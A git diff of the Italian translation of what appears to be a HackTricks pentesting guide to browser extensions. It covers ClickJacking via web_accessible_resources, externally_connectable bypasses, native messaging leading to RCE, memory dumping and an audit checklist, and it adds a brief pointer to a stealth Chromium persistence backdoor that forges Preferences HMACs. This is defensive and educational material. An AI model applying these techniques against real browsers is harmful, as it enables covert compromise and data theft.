-> Nota che anche se una pagina è menzionata qui, potrebbe essere **protetta contro il ClickJacking** grazie alla **Content Security Policy**. Quindi devi anche controllarlo (sezione frame-ancestors) prima di confermare che un attacco di ClickJacking sia possibile.
+> Nota che anche se una pagina è menzionata qui, potrebbe essere **protetta contro ClickJacking** grazie alla **Content Security Policy**. Quindi devi anche verificarla (sezione frame-ancestors) prima di confermare che un attacco ClickJacking sia possibile.
+
+Avere il permesso di accedere a queste pagine le rende **potenzialmente vulnerabili a ClickJacking**:
 
-Essere autorizzati ad accedere a queste pagine rende queste pagine **potenzialmente vulnerabili al ClickJacking**:
 
 {{#ref}}
 browext-clickjacking.md
 {{#endref}}
 
 > [!TIP]
-> Consentire a queste pagine di essere caricate solo dall'estensione e non da URL casuali potrebbe prevenire attacchi di ClickJacking.
+> Consentire che queste pagine siano caricate solo dall'extension e non da URL casuali potrebbe prevenire attacchi ClickJacking.
 
 > [!CAUTION]
-> Nota che le pagine da **`web_accessible_resources`** e altre pagine dell'estensione sono anche in grado di **contattare script di background**. Quindi, se una di queste pagine è vulnerabile a **XSS**, potrebbe aprire una vulnerabilità più grande.
+> Nota che le pagine definite in **`web_accessible_resources`** e altre pagine dell'extension sono anche in grado di **contattare background scripts**. Quindi se una di queste pagine è vulnerabile a **XSS** potrebbe aprire una vulnerabilità più ampia.
 >
-> Inoltre, nota che puoi aprire solo le pagine indicate in **`web_accessible_resources`** all'interno di iframe, ma da una nuova scheda è possibile accedere a qualsiasi pagina nell'estensione conoscendo l'ID dell'estensione. Pertanto, se viene trovata una XSS abusando degli stessi parametri, potrebbe essere abusata anche se la pagina non è configurata in **`web_accessible_resources`**.
+> Inoltre, nota che puoi aprire dentro iframe solo le pagine indicate in **`web_accessible_resources`**, ma da una nuova tab è possibile accedere a qualsiasi pagina dell'extension conoscendo l'extension ID. Pertanto, se viene trovato un XSS che abusa degli stessi parametri, potrebbe essere sfruttato anche se la pagina non è configurata in **`web_accessible_resources`**.
 
 ### `externally_connectable`
 
-Secondo le [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), La proprietà del manifesto `"externally_connectable"` dichiara **quali estensioni e pagine web possono connettersi** alla tua estensione tramite [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+Secondo la [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la proprietà di manifest `"externally_connectable"` dichiara **quali extensions e web pages possono connettersi** alla tua extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) e [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
-- Se la chiave **`externally_connectable`** **non** è dichiarata nel manifesto della tua estensione o è dichiarata come **`"ids": ["*"]`**, **tutte le estensioni possono connettersi, ma nessuna pagina web può connettersi**.
-- Se **ID specifici sono specificati**, come in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo quelle applicazioni** possono connettersi.
-- Se sono specificati **matches**, quelle app web saranno in grado di connettersi:
+- Se la chiave **`externally_connectable`** non è dichiarata nel manifest della tua extension o è dichiarata come **`"ids": ["*"]`**, **tutte le extensions possono connettersi, ma nessuna web page può connettersi**.
+- Se vengono specificati **ID specifici**, come in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo quelle applicazioni** possono connettersi.
+- Se sono specificati dei **matches**, quelle web app saranno in grado di connettersi:
 ```json
 "matches": [
 "https://*.google.com/*",
 "*://*.chromium.org/*",
 ```
-- Se è specificato come vuoto: **`"externally_connectable": {}`**, nessuna app o web sarà in grado di connettersi.
+- Se è specificato vuoto: **`"externally_connectable": {}`**, nessuna app o web potrà connettersi.
 
-Meno **estensioni e URL** indicati qui, più **piccola sarà la superficie di attacco**.
+La **minore quantità di extension e URL** indicate qui, tanto **più piccola sarà la superficie di attacco**.
 
 > [!CAUTION]
-> Se una pagina web **vulnerabile a XSS o takeover** è indicata in **`externally_connectable`**, un attaccante sarà in grado di **inviare messaggi direttamente allo script di background**, bypassando completamente il Content Script e il suo CSP.
+> Se una pagina web **vulnerabile a XSS o takeover** è indicata in **`externally_connectable`**, un attacker sarà in grado di **inviare messaggi direttamente allo script di background**, bypassando completamente il Content Script e il suo CSP.
 >
 > Pertanto, questo è un **bypass molto potente**.
 >
-> Inoltre, se il client installa un'estensione malevola, anche se non è autorizzata a comunicare con l'estensione vulnerabile, potrebbe iniettare **dati XSS in una pagina web consentita** o abusare delle API **`WebRequest`** o **`DeclarativeNetRequest`** per manipolare le richieste su un dominio mirato alterando la richiesta di una **file JavaScript**. (Nota che il CSP sulla pagina mirata potrebbe prevenire questi attacchi). Questa idea proviene [**da questo writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+> Inoltre, se il client installa una rogue extension, anche se non è autorizzata a comunicare con l'estensione vulnerabile, potrebbe injectare **dati XSS in una pagina web consentita** o abusare delle API **`WebRequest`** o **`DeclarativeNetRequest`** per manipolare le richieste su un dominio target alterando la richiesta di una **JavaScript file**. (Nota che il CSP sulla pagina target potrebbe prevenire questi attacchi). Questa idea proviene [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
 
 ## Riepilogo della comunicazione
 
 ### Estensione <--> WebApp
 
-Per comunicare tra lo script di contenuto e la pagina web vengono solitamente utilizzati i messaggi post. Pertanto, nell'applicazione web troverai solitamente chiamate alla funzione **`window.postMessage`** e nello script di contenuto listener come **`window.addEventListener`**. Nota però che l'estensione potrebbe anche **comunicare con l'applicazione web inviando un Post Message** (e quindi il web dovrebbe aspettarselo) o semplicemente far caricare al web un nuovo script.
+Per comunicare tra il Content Script e la pagina web vengono solitamente usati i post message. Pertanto, nell'applicazione web di solito troverai chiamate alla funzione **`window.postMessage`** e, nel Content Script, listener come **`window.addEventListener`**. Nota tuttavia che l'estensione potrebbe anche **comunicare con l'applicazione web inviando un Post Message** (e quindi la pagina web dovrebbe aspettarselo) oppure semplicemente far caricare alla pagina un nuovo script.
 
 ### All'interno dell'estensione
 
-Di solito la funzione **`chrome.runtime.sendMessage`** viene utilizzata per inviare un messaggio all'interno dell'estensione (solitamente gestito dallo script `background`) e per riceverlo e gestirlo viene dichiarato un listener chiamando **`chrome.runtime.onMessage.addListener`**.
+Di solito la funzione **`chrome.runtime.sendMessage`** viene usata per inviare un messaggio all'interno dell'estensione (solitamente gestito dallo script `background`) e, per riceverlo e gestirlo, viene dichiarato un listener chiamando **`chrome.runtime.onMessage.addListener`**.
 
-È anche possibile utilizzare **`chrome.runtime.connect()`** per avere una connessione persistente invece di inviare messaggi singoli, è possibile utilizzarlo per **inviare** e **ricevere** **messaggi** come nel seguente esempio:
+È anche possibile usare **`chrome.runtime.connect()`** per avere una connessione persistente invece di inviare singoli messaggi; può essere usata per **inviare** e **ricevere** **messaggi** come nell'esempio seguente:
 
 <details>
 
@@ -389,19 +392,19 @@ console.log("Content script received message from background script:", msg)
 ```
 </details>
 
-È anche possibile inviare messaggi da uno script di background a uno script di contenuto situato in una scheda specifica chiamando **`chrome.tabs.sendMessage`** dove sarà necessario indicare l'**ID della scheda** a cui inviare il messaggio.
+È anche possibile inviare messaggi da un background script a un content script situato in una specifica scheda chiamando **`chrome.tabs.sendMessage`** dove dovrai indicare l'**ID della scheda** a cui inviare il messaggio.
 
-### Da `externally_connectable` consentito all'estensione
+### Da `externally_connectable` consentiti verso l'estensione
 
-**Le app web e le estensioni del browser esterne consentite** nella configurazione `externally_connectable` possono inviare richieste utilizzando :
+**Web apps e external browser extensions consentite** nella configurazione `externally_connectable` possono inviare richieste usando :
 ```javascript
 chrome.runtime.sendMessage(extensionId, ...
 ```
-Dove è necessario menzionare l'**ID dell'estensione**.
+Quando è necessario menzionare la **extension ID**.
 
-### Messaggistica Nativa
+### Native Messaging
 
-È possibile per gli script di background comunicare con i binari all'interno del sistema, che potrebbero essere **soggetti a vulnerabilità critiche come RCE** se questa comunicazione non è adeguatamente protetta. [More on this later](#native-messaging).
+È possibile che i background scripts comunichino con binari presenti nel sistema, operazione che potrebbe essere soggetta a vulnerabilità critiche come **RCEs** se tale comunicazione non è adeguatamente protetta. [More on this later](#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -411,11 +414,11 @@ console.log("Received " + response)
 }
 )
 ```
-## Web **↔︎** Comunicazione tra Script di Contenuto
+## Web **↔︎** Comunicazione con Content Script
 
-Gli ambienti in cui operano gli **script di contenuto** e dove esistono le pagine host sono **separati** l'uno dall'altro, garantendo **isolamento**. Nonostante questo isolamento, entrambi hanno la capacità di interagire con il **Document Object Model (DOM)** della pagina, una risorsa condivisa. Affinché la pagina host possa comunicare con lo **script di contenuto**, o indirettamente con l'estensione attraverso lo script di contenuto, è necessario utilizzare il **DOM** accessibile da entrambe le parti come canale di comunicazione.
+Gli ambienti in cui operano i **content scripts** e quelli delle pagine host sono **separati** l'uno dall'altro, garantendo **isolamento**. Nonostante questo isolamento, entrambi possono interagire con il **Document Object Model (DOM)** della pagina, una risorsa condivisa. Perché la pagina host possa comunicare con il **content script**, o indirettamente con l'estensione tramite il content script, è necessario utilizzare il **DOM** accessibile a entrambe le parti come canale di comunicazione.
 
-### Messaggi Post
+### Post Messages
 ```javascript:content-script.js
 // This is like "chrome.runtime.sendMessage" but to maintain the connection
 var port = chrome.runtime.connect()
@@ -450,15 +453,16 @@ window.postMessage(
 false
 )
 ```
-Una comunicazione sicura Post Message dovrebbe controllare l'autenticità del messaggio ricevuto, questo può essere fatto controllando:
+Una comunicazione Post Message sicura dovrebbe verificare l'autenticità del messaggio ricevuto, questo può essere fatto controllando:
 
-- **`event.isTrusted`**: Questo è True solo se l'evento è stato attivato da un'azione dell'utente
-- Lo script di contenuto potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione
-- **dominio di origine**: potrebbe aspettarsi un messaggio solo da un elenco di domini autorizzati.
-- Se viene utilizzata una regex, fai molta attenzione
-- **Fonte**: `received_message.source !== window` può essere utilizzato per controllare se il messaggio proviene **dalla stessa finestra** in cui lo Script di Contenuto sta ascoltando.
+- **`event.isTrusted`**: Questo è True solo se l'evento è stato innescato da un'azione dell'utente
+- Il content script potrebbe aspettarsi un messaggio solo se l'utente esegue qualche azione
+- **origin domain**: potrebbe aspettarsi un messaggio solo da una allowlist di domini.
+- Se viene usata una regex, fai molta attenzione
+- **Source**: `received_message.source !== window` può essere usato per verificare se il messaggio proveniva **dalla stessa window** in cui il Content Script sta ascoltando.
+
+I controlli precedenti, anche se eseguiti, potrebbero essere vulnerabili, quindi consulta nella pagina seguente i **potenziali bypass di Post Message**:
 
-I controlli precedenti, anche se eseguiti, potrebbero essere vulnerabili, quindi controlla nella seguente pagina **potenziali bypass di Post Message**:
 
 {{#ref}}
 ../postmessage-vulnerabilities/
@@ -466,7 +470,8 @@ I controlli precedenti, anche se eseguiti, potrebbero essere vulnerabili, quindi
 
 ### Iframe
 
-Un altro possibile modo di comunicazione potrebbe essere attraverso **URL Iframe**, puoi trovare un esempio in:
+Un altro possibile canale di comunicazione potrebbe essere tramite **Iframe URLs**, puoi trovare un esempio in:
+
 
 {{#ref}}
 browext-xss-example.md
@@ -474,21 +479,22 @@ browext-xss-example.md
 
 ### DOM
 
-Questo non è "esattamente" un modo di comunicazione, ma il **web e lo script di contenuto avranno accesso al DOM web**. Quindi, se lo **script di contenuto** sta leggendo alcune informazioni da esso, **fidandosi del DOM web**, il web potrebbe **modificare questi dati** (perché il web non dovrebbe essere fidato, o perché il web è vulnerabile a XSS) e **compromettere lo Script di Contenuto**.
+Questo non è "esattamente" un metodo di comunicazione, ma il **web e il content script avranno accesso al web DOM**. Quindi, se il **content script** legge informazioni da esso, **fidandosi del web DOM**, il web potrebbe **modificare questi dati** (perché il web non dovrebbe essere considerato affidabile, o perché il web è vulnerabile a XSS) e **compromettere il Content Script**.
+
+Puoi anche trovare un esempio di una **DOM based XSS per compromettere un browser extension** in:
 
-Puoi anche trovare un esempio di un **XSS basato su DOM per compromettere un'estensione del browser** in:
 
 {{#ref}}
 browext-xss-example.md
 {{#endref}}
 
-## Comunicazione Script di Contenuto **↔︎** Script di Background
+## Content Script **↔︎** Background Script Comunicazione
 
-Uno Script di Contenuto può utilizzare le funzioni [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) per inviare un messaggio **JSON serializzabile una tantum**.
+Un Content Script può usare le funzioni [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) per inviare un messaggio **one-time JSON-serializable**.
 
-Per gestire la **risposta**, utilizza la **Promise** restituita. Anche se, per compatibilità retroattiva, puoi ancora passare un **callback** come ultimo argomento.
+Per gestire la **response**, usa la **Promise** restituita. Tuttavia, per compatibilità retroattiva, puoi ancora passare una **callback** come ultimo argomento.
 
-Inviare una richiesta da uno **script di contenuto** appare così:
+L'invio di una request da un **content script** appare così:
 ```javascript
 ;(async () => {
 const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@@ -496,7 +502,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-Invio di una richiesta dall'**estensione** (di solito uno **script di background**). Esempio di come inviare un messaggio allo script di contenuto nella scheda selezionata:
+Invio di una richiesta dall'**extension** (di solito un **background script**). Esempio di come inviare un messaggio al content script nella tab selezionata:
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@@ -509,7 +515,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
 console.log(response)
 })()
 ```
-Dall'**altra parte**, è necessario impostare un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **listener di eventi** per gestire il messaggio. Questo appare lo stesso da uno script di contenuto o da una pagina di estensione.
+Dal **lato ricevente**, devi impostare un [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** per gestire il messaggio. Questo è identico sia da un content script sia da una extension page.
 ```javascript
 // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
 chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@@ -521,15 +527,15 @@ sender.tab
 if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 })
 ```
-Nell'esempio evidenziato, **`sendResponse()`** è stato eseguito in modo sincrono. Per modificare il gestore dell'evento `onMessage` per l'esecuzione asincrona di `sendResponse()`, è imperativo incorporare `return true;`.
+Nell'esempio evidenziato, **`sendResponse()`** è stato eseguito in modo sincrono. Per modificare l'handler dell'evento `onMessage` affinché `sendResponse()` venga eseguito in modo asincrono, è imperativo includere `return true;`.
 
-Una considerazione importante è che in scenari in cui più pagine sono impostate per ricevere eventi `onMessage`, **la prima pagina a eseguire `sendResponse()`** per un evento specifico sarà l'unica in grado di consegnare la risposta in modo efficace. Qualsiasi risposta successiva allo stesso evento non sarà presa in considerazione.
+Un'importante considerazione è che, in scenari in cui più pagine sono predisposte a ricevere eventi `onMessage`, **la prima pagina a eseguire `sendResponse()`** per uno specifico evento sarà l'unica in grado di fornire la risposta efficacemente. Qualsiasi risposta successiva allo stesso evento non verrà presa in considerazione.
 
-Quando si creano nuove estensioni, la preferenza dovrebbe essere per le promesse piuttosto che per i callback. Per quanto riguarda l'uso dei callback, la funzione `sendResponse()` è considerata valida solo se viene eseguita direttamente all'interno del contesto sincrono, o se il gestore dell'evento indica un'operazione asincrona restituendo `true`. Se nessuno dei gestori restituisce `true` o se la funzione `sendResponse()` viene rimossa dalla memoria (garbage-collected), il callback associato alla funzione `sendMessage()` verrà attivato per impostazione predefinita.
+Quando si sviluppano nuove estensioni, la preferenza dovrebbe essere per le promises anziché per i callbacks. Per quanto riguarda l'uso dei callbacks, la funzione `sendResponse()` è considerata valida solo se viene eseguita direttamente nel contesto sincrono, oppure se l'handler dell'evento indica un'operazione asincrona restituendo `true`. Se nessuno degli handler restituisce `true` oppure se la funzione `sendResponse()` viene rimossa dalla memoria (garbage-collected), il callback associato a `sendMessage()` verrà attivato di default.
 
 ## Native Messaging
 
-Le estensioni del browser consentono anche di comunicare con **binaries nel sistema tramite stdin**. L'applicazione deve installare un json che lo indica in un json come:
+Le estensioni del browser permettono anche di comunicare con **binari nel sistema via stdin**. L'applicazione deve installare un json che lo indichi in un json come:
 ```json
 {
 "name": "com.my_company.my_application",
@@ -539,14 +545,14 @@ Le estensioni del browser consentono anche di comunicare con **binaries nel sist
 "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 }
 ```
-Dove il `name` è la stringa passata a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) per comunicare con l'applicazione dagli script di background dell'estensione del browser. Il `path` è il percorso del binario, c'è solo 1 `type` valido che è stdio (usa stdin e stdout) e gli `allowed_origins` indicano le estensioni che possono accedervi (e non possono avere caratteri jolly).
+Dove il `name` è la stringa passata a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) per comunicare con l'applicazione dagli script di background dell'estensione del browser. Il `path` è il percorso al binario, c'è solo 1 `type` valido che è stdio (use stdin and stdout) e gli `allowed_origins` indicano le estensioni che possono accedervi (e non possono avere wildcard).
 
-Chrome/Chromium cercherà questo json in alcuni registri di Windows e in alcuni percorsi in macOS e Linux (maggiori informazioni nella [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+Chrome/Chromium cercherà questo json in alcune voci del registro di Windows e in alcuni percorsi su macOS e Linux (maggiori info nella [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
 
 > [!TIP]
-> L'estensione del browser ha anche bisogno del permesso `nativeMessaing` dichiarato per poter utilizzare questa comunicazione.
+> L'estensione del browser deve dichiarare anche il permesso `nativeMessaing` per poter utilizzare questa comunicazione.
 
-Questo è come appare un codice di script di background che invia messaggi a un'applicazione nativa:
+Ecco come appare il codice di uno script di background che invia messaggi a un'applicazione nativa:
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -556,42 +562,42 @@ console.log("Received " + response)
 }
 )
 ```
-In [**questo post del blog**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), viene proposto un modello vulnerabile che sfrutta i messaggi nativi:
+In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), viene proposto uno schema vulnerabile che sfrutta native messages:
 
-1. L'estensione del browser ha un modello wildcard per lo script di contenuto.
-2. Lo script di contenuto passa i messaggi `postMessage` allo script di background utilizzando `sendMessage`.
-3. Lo script di background passa il messaggio all'applicazione nativa utilizzando `sendNativeMessage`.
-4. L'applicazione nativa gestisce il messaggio in modo pericoloso, portando all'esecuzione di codice.
+1. Browser extension ha un pattern wildcard per il content script.
+2. Content script passa messaggi `postMessage` allo background script usando `sendMessage`.
+3. Background script inoltra il messaggio all'applicazione nativa usando `sendNativeMessage`.
+4. Native application gestisce il messaggio in modo pericoloso, portando a code execution.
 
-E all'interno di esso viene spiegato un esempio di **passare da qualsiasi pagina a RCE sfruttando un'estensione del browser**.
+Al suo interno è spiegato un esempio di **come passare da qualsiasi pagina a RCE abusando di un'estensione del browser**.
 
-## Informazioni Sensibili in Memoria/Codice/Clipboard
+## Informazioni sensibili in memoria/codice/clipboard
 
-Se un'estensione del browser memorizza **informazioni sensibili all'interno della sua memoria**, queste potrebbero essere **estratte** (soprattutto su macchine Windows) e **cercate** per queste informazioni.
+Se un'estensione del browser memorizza **informazioni sensibili nella sua memoria**, queste potrebbero essere **dumped** (soprattutto su macchine Windows) e **cercate** per trovare tali informazioni.
 
 Pertanto, la memoria dell'estensione del browser **non dovrebbe essere considerata sicura** e **informazioni sensibili** come credenziali o frasi mnemoniche **non dovrebbero essere memorizzate**.
 
-Naturalmente, **non mettere informazioni sensibili nel codice**, poiché saranno **pubbliche**.
+Ovviamente, non inserire **informazioni sensibili nel codice**, poiché saranno **pubbliche**.
 
-Per estrarre la memoria dal browser, puoi **estrarre la memoria del processo** oppure per andare alle **impostazioni** dell'estensione del browser clicca su **`Ispeziona pop-up`** -> Nella sezione **`Memoria`** -> **`Prendi uno snapshot`** e **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
+Per dumpare la memoria dal browser puoi **dump the process memory** oppure andare nelle **impostazioni** dell'estensione del browser, cliccare su **`Inspect pop-up`** -> nella sezione **`Memory`** -> **`Take a snaphost`** e usare **`CTRL+F`** per cercare all'interno dello snapshot informazioni sensibili.
 
-Inoltre, informazioni altamente sensibili come chiavi mnemoniche o password **non dovrebbero essere consentite per essere copiate negli appunti** (o almeno rimuoverle dagli appunti dopo pochi secondi) perché poi i processi che monitorano gli appunti saranno in grado di ottenerle.
+Inoltre, informazioni altamente sensibili come chiavi mnemoniche o password **non dovrebbero poter essere copiate negli appunti (clipboard)** (o almeno rimosse dagli appunti dopo pochi secondi) perché processi che monitorano il clipboard potrebbero ottenerle.
 
-## Caricamento di un'Estensione nel Browser
+## Caricare un'estensione nel browser
 
-1. **Scarica** l'estensione del browser & decomprimi
-2. Vai su **`chrome://extensions/`** e **abilita** la `Modalità Sviluppatore`
-3. Clicca sul pulsante **`Carica non impacchettata`**
+1. **Scarica** l'estensione del browser e decomprimi
+2. Vai a **`chrome://extensions/`** e **abilita** la `Developer Mode`
+3. Clicca il pulsante **`Load unpacked`**
 
-In **Firefox** vai su **`about:debugging#/runtime/this-firefox`** e clicca sul pulsante **`Carica componente aggiuntivo temporaneo`**.
+In **Firefox** vai a **`about:debugging#/runtime/this-firefox`** e clicca il pulsante **`Load Temporary Add-on`**.
 
 ## Ottenere il codice sorgente dallo store
 
-Il codice sorgente di un'estensione Chrome può essere ottenuto attraverso vari metodi. Di seguito sono fornite spiegazioni dettagliate e istruzioni per ciascuna opzione.
+Il codice sorgente di un'estensione Chrome può essere ottenuto con vari metodi. Di seguito sono riportate spiegazioni dettagliate e istruzioni per ogni opzione.
 
-### Scarica l'estensione come ZIP tramite linea di comando
+### Scaricare l'estensione come ZIP tramite linea di comando
 
-Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP utilizzando la linea di comando. Questo comporta l'uso di `curl` per recuperare il file ZIP da un URL specifico e poi estrarre il contenuto del file ZIP in una directory. Ecco i passaggi:
+Il codice sorgente di un'estensione Chrome può essere scaricato come file ZIP usando la linea di comando. Questo comporta l'uso di `curl` per recuperare il file ZIP da un URL specifico e quindi estrarre il contenuto del ZIP in una directory. Ecco i passaggi:
 
 1. Sostituisci `"extension_id"` con l'ID reale dell'estensione.
 2. Esegui i seguenti comandi:
@@ -606,90 +612,98 @@ unzip -d "$extension_id-source" "$extension_id.zip"
 
 ### Usa l'estensione CRX Viewer
 
-Un altro metodo conveniente è utilizzare il Chrome Extension Source Viewer, che è un progetto open-source. Può essere installato dal [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Il codice sorgente del visualizzatore è disponibile nel suo [repository GitHub](https://github.com/Rob--W/crxviewer).
+Un altro metodo comodo è usare Chrome Extension Source Viewer, che è un progetto open-source. Può essere installato dal [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Il codice sorgente del viewer è disponibile nel suo [GitHub repository](https://github.com/Rob--W/crxviewer).
 
-### Visualizza il sorgente dell'estensione installata localmente
+### Visualizza il sorgente di un'estensione installata localmente
 
-Le estensioni di Chrome installate localmente possono essere ispezionate. Ecco come:
+Chrome extensions installate localmente possono anche essere ispezionate. Ecco come:
 
-1. Accedi alla directory del tuo profilo locale di Chrome visitando `chrome://version/` e localizzando il campo "Profile Path".
+1. Accedi alla directory del profilo locale di Chrome visitando `chrome://version/` e individuando il campo "Profile Path".
 2. Naviga nella sottocartella `Extensions/` all'interno della directory del profilo.
 3. Questa cartella contiene tutte le estensioni installate, tipicamente con il loro codice sorgente in un formato leggibile.
 
 Per identificare le estensioni, puoi mappare i loro ID ai nomi:
 
-- Abilita la Modalità Sviluppatore nella pagina `about:extensions` per vedere gli ID di ciascuna estensione.
-- All'interno della cartella di ciascuna estensione, il file `manifest.json` contiene un campo `name` leggibile, che ti aiuta a identificare l'estensione.
+- Abilita Developer Mode nella pagina `about:extensions` per vedere gli ID di ciascuna estensione.
+- All'interno della cartella di ogni estensione, il file `manifest.json` contiene un campo `name` leggibile, che ti aiuta a identificare l'estensione.
 
-### Usa un File Archiver o Unpacker
+### Usa un archiviatore di file o un unpacker
 
-Vai al Chrome Web Store e scarica l'estensione. Il file avrà un'estensione `.crx`. Cambia l'estensione del file da `.crx` a `.zip`. Usa qualsiasi file archiver (come WinRAR, 7-Zip, ecc.) per estrarre il contenuto del file ZIP.
+Vai al Chrome Web Store e scarica l'estensione. Il file avrà estensione `.crx`. Cambia l'estensione del file da `.crx` a `.zip`. Usa qualsiasi archiviatore (come WinRAR, 7-Zip, ecc.) per estrarre il contenuto del file ZIP.
 
-### Usa la Modalità Sviluppatore in Chrome
+### Usa Developer Mode in Chrome
 
-Apri Chrome e vai su `chrome://extensions/`. Abilita "Modalità sviluppatore" in alto a destra. Clicca su "Carica estensione non pacchettizzata...". Naviga nella directory della tua estensione. Questo non scarica il codice sorgente, ma è utile per visualizzare e modificare il codice di un'estensione già scaricata o sviluppata.
+Apri Chrome e vai su `chrome://extensions/`. Abilita "Developer mode" in alto a destra. Clicca su "Load unpacked extension...". Naviga nella directory della tua estensione. Questo non scarica il codice sorgente, ma è utile per visualizzare e modificare il codice di un'estensione già scaricata o sviluppata.
 
-## Dataset del manifesto delle estensioni di Chrome
+## Dataset dei manifest delle estensioni Chrome
 
-Per cercare di individuare estensioni del browser vulnerabili, puoi utilizzare il [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) e controllare i loro file manifesto per segni potenzialmente vulnerabili. Ad esempio, per controllare le estensioni con più di 25000 utenti, `content_scripts` e il permesso `nativeMessaing`:
+Per cercare di individuare estensioni del browser vulnerabili puoi usare il [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) e controllare i loro file manifest per possibili segnali di vulnerabilità. Ad esempio, per verificare estensioni con più di 25000 utenti, `content_scripts` e il permesso `nativeMessaing`:
 ```bash
 # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
 node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
 ```
-## Elenco di Controllo per Audit di Sicurezza
+## Post-exploitation: Forced extension load & persistence (Windows)
 
-Anche se le Estensioni del Browser hanno una **superficie di attacco limitata**, alcune di esse potrebbero contenere **vulnerabilità** o **miglioramenti potenziali di indurimento**. Le seguenti sono le più comuni:
+Tecnica stealth per backdoorare Chromium modificando direttamente le per-user Preferences e falsificando HMACs validi, facendo sì che il browser accetti e attivi un'estensione unpacked arbitraria senza prompt o flag.
 
-- [ ] **Limitare** il più possibile le **`permissions`** richieste
-- [ ] **Limitare** il più possibile le **`host_permissions`**
-- [ ] Utilizzare una **forte** **`content_security_policy`**
-- [ ] **Limitare** il più possibile il **`externally_connectable`**, se non è necessario e possibile, non lasciarlo di default, specificare **`{}`**
-- [ ] Se è menzionato qui un **URL vulnerabile a XSS o a takeover**, un attaccante sarà in grado di **inviare messaggi agli script di background direttamente**. Bypass molto potente.
-- [ ] **Limitare** il più possibile le **`web_accessible_resources`**, anche vuote se possibile.
-- [ ] Se **`web_accessible_resources`** non è nullo, controllare per [**ClickJacking**](browext-clickjacking.md)
-- [ ] Se avviene qualsiasi **comunicazione** dall'**estensione** alla **pagina web**, [**controllare per XSS**](browext-xss-example.md) **vulnerabilità** causate nella comunicazione.
-- [ ] Se vengono utilizzati Post Messages, controllare per [**vulnerabilità di Post Message**](../postmessage-vulnerabilities/index.html)**.**
-- [ ] Se il **Content Script accede ai dettagli del DOM**, controllare che non **introducano un XSS** se vengono **modificati** dal web
-- [ ] Fare particolare attenzione se questa comunicazione è coinvolta anche nella **comunicazione Content Script -> Background script**
-- [ ] Se lo script di background comunica tramite **native messaging**, controllare che la comunicazione sia sicura e sanificata
-- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del codice dell'Estensione del Browser
-- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno della memoria dell'Estensione del Browser
-- [ ] **Informazioni sensibili non dovrebbero essere memorizzate** all'interno del **file system non protetto**
+{{#ref}}
+forced-extension-load-preferences-mac-forgery-windows.md
+{{#endref}}
 
-## Rischi delle Estensioni del Browser
+## Lista di controllo per l'audit di sicurezza
 
-- L'app [https://crxaminer.tech/](https://crxaminer.tech/) analizza alcuni dati come le autorizzazioni richieste dall'estensione del browser per fornire un livello di rischio nell'utilizzo dell'estensione del browser.
+Anche se le estensioni del browser hanno una **superficie d'attacco limitata**, alcune potrebbero contenere **vulnerabilità** o **possibili miglioramenti di hardening**. Quelle seguenti sono le più comuni:
+
+- [ ] **Limitare** il più possibile i `permissions` richiesti
+- [ ] **Limitare** il più possibile i `host_permissions`
